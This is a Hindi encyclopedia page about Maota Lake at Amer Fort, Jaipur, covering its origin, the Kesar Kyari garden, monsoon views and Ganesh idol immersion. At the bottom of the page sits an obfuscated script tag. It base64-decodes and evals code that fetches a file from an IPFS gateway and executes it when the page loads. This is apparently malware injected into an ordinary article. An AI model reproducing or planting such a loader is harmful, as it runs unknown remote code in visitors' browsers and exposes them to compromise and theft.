मावठा झील

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
मावठा झील
केसर क्यारी, मावठा झील
विवरण 'मावठा झील' राजस्थान स्थित प्रसिद्ध झीलों में से एक है। यह झील राजस्थान में आमेर क़िले के प्रसिद्ध स्थानों में से एक है।
राज्य राजस्थान
स्थान आमेर क़िला, जयपुर
संबंधित लेख राजस्थान, राजस्थान का इतिहास, जयसिंह, आमेर
अन्य जानकारी मावठा झील के बीच में एक छोटा-सा उद्यान है, जिसे 'केसर क्यारी' कहा जाता है। इसमें सुगन्धित केसर उगायी जाती थी, जिससे महल के आसपास का वातावरण महकता रहता था।

मावठा झील राजस्थान में आमेर के महल के तल में स्थित है। यह एक कृत्रिम झील है, जिसे महल की सुरक्षा और सुन्दरता बढ़ाने के लिए बनवाया गया था।

  • जिस पहाड़ी पर आमेर का दुर्ग स्थित है, उसके सामने ही यह सुन्दर झील है।
  • झील के एक छोर पर ही क़िले में जाने का मार्ग है, जहाँ एक सुंदर वाटिका बनी है। इसे राजा जयसिंह के समय में बनवाया गया था। इसका नाम 'दूलाराम बाग़' है।
  • मानसून के मौसम में मावठा झील पानी से लबालब भर जाती है। तब यहाँ की सुन्दरता देखने लायक होती है।
  • मावठा झील के बीच में एक छोटा-सा उद्यान है, जिसे 'केसर क्यारी' कहा जाता है। इसमें सुगन्धित केसर उगायी जाती थी, जिससे महल के आसपास का वातावरण महकता रहता था।
  • आमेर के हाथियों का यहाँ जल में क्रीड़ा करना फ़ोटोग्राफ़ी के लिए अच्छा दृश्य उपलब्ध कराता है।
मावठा झील, आमेर
  • पूर्व में इस झील के तट पर बड़े-बड़े वट वृक्ष हुआ करते थे, जिसके कारण इसका नाम महावटा सरोवर पड़ा, जो कालांतर में बिगड़ कर मावटा बन गया। ये वृक्ष 15वीं शताब्दी में लगवाये गये थे।
  • यह झील पर्वत से बहकर आये हुए वर्षा के जल को संग्रह करती है एवं आमेर महल तथा निकटवर्ती जनसाधारण का मुख्य जलस्रोत है।
  • जयपुर में गणेश चतुर्थी के अवसर पर स्थापित हुई गणपति प्रतिमाओं का विसर्जन मावठा झील में हुआ करता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

वीथिका

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>